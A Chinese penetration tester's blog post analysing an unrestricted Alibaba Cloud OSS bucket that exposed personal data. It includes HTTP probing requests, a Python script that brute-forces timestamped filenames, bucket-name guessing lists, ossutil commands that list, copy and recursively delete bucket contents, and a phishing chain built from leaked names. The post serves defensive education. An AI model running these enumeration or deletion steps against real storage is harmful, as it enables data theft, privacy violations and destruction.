OSS存储桶配置错误导致敏感信息泄露 —— 从单个目录到数据资产全面暴露的深度剖析
原创
是老A
是老A
老A搞安全
2026年6月29日 07:42
贵州
在小说阅读器读本章
去阅读
一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!
一次渗透项目检查工作,经信息收集发现该系统使用阿里云存储桶,并且该单位未对其进行访问限制而暴露一系列问题
获取大量的个人信息……
案例回顾:一个链接背后的信息量
URL: https://xxx.oss-cn-xxx.aliyuncs.com/files/……服务商: 阿里云OSS (Object Storage Service)存储桶: [组织名称]路径结构: /files/YYYY/MM/DD/YYYYMMDDHHMMSS_序号.pdf
一条完整的社工链条
签到册(PDF) → 获取姓名+班级 → 推测学号规律 → 结合其他泄露数据 → 精准钓鱼/撞库攻击
全面攻击面分析
直接访问(已验证)
GET /files/2023/11/21/20231121181754_742.pdf HTTP/1.1Host: xxx.oss-cn-xxx.aliyuncs.comHTTP/1.1 200 OKContent-Type: application/pdfContent-Length: [文件大小]
目录枚举探测
# 尝试获取目录列表GET /files/ HTTP/1.1# 通常返回 403 Forbidden,但不代表安全# 尝试常见索引文件GET /files/index.htmlGET /files/index.jsonGET /files/.DS_Store GET /files/.listing
文件枚举(IDOR变种)
文件名 20231121181754_742.pdf 包含:
- 间戳:
2023-11-21 18:17:54 - 序号:
742
可以构造脚本进行范围枚举:
import requestsfrom datetime import datetime, timedeltadef enumerate_files(start_date, end_date, id_range): \"\"\"遍历时间范围内的文件\"\"\" base_url = \"https://xxx.oss-cn-shenzhen.aliyuncs.com/files/\" current = start_date while current <= end_date: date_str = current.strftime(\"%Y/%m/%d\") for seq in range(id_range[0], id_range[1]): for hour in range(0, 24): for minute in range(0, 60): for second in range(0, 60): filename = f\"{date_str}/{current.strftime('%Y%m%d')}{hour:02d}{minute:02d}{second:02d}_{seq}.pdf\" url = base_url + filename # 发送HEAD请求探测 resp = requests.head(url) if resp.status_code == 200: print(f\"Found: {url}\")
Bucket名称暴力枚举
存储桶名称通常包含组织标识,可尝试常见变体:
[org-name][org-name]-backup[org-name]-prod[org-name]-test[org-name]-files[org-name]-images[org-name]-static
子域名关联
[org-name].oss-cn-xxx.aliyuncs.com ↓oss-cn-xxx.aliyuncs.com/[org-name] ↓[org-name].oss-cn-xxx.aliyuncs.com ↓尝试其他区域:[org-name].oss-cn-hangzhou.aliyuncs.com[org-name].oss-cn-beijing.aliyuncs.com[org-name].oss-cn-shanghai.aliyuncs.com
SDK/工具利用
# 使用阿里云CLI工具尝试ossutil ls oss://[org-name]/ossutil ls oss://[org-name]/files/ --recursive --max-num 1000# 如果配置了错误的AK/SK,可能完全控制存储桶ossutil configossutil cp oss://[org-name]/sensitive/data.csv ./ossutil rm oss://[org-name]/ --recursive # 危险操作!
深入利用链
Step 1: 指纹识别
# 检测是否存在开放存储curl -I https://[org-name].oss-cn-shenzhen.aliyuncs.com/# 如果返回 200 或 403,说明存储桶存在
Step 2: 路径结构推断
从URL路径 /files/2023/11/21/ 可以推断:- 存在 /files/ 目录- 按日期分目录存储- 使用时间戳命名
Step 3: 批量扫描
# 批量扫描脚本伪代码for year in range(2020, 2025): for month in range(1, 13): for day in range(1, 32): scan_path(f\"/files/{year}/{month:02d}/{day:02d}/\")
教训:
- 默认配置不一定是安全配置:云服务的\"公共读\"权限需要主动修改
- 可预测=可利用:有规律的文件命名结构是信息泄露的助推器
- 敏感数据需要隔离:个人信息必须与其他数据分层存储
- 安全需要纵深防御:任何单层防护都不足以应对所有威胁
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论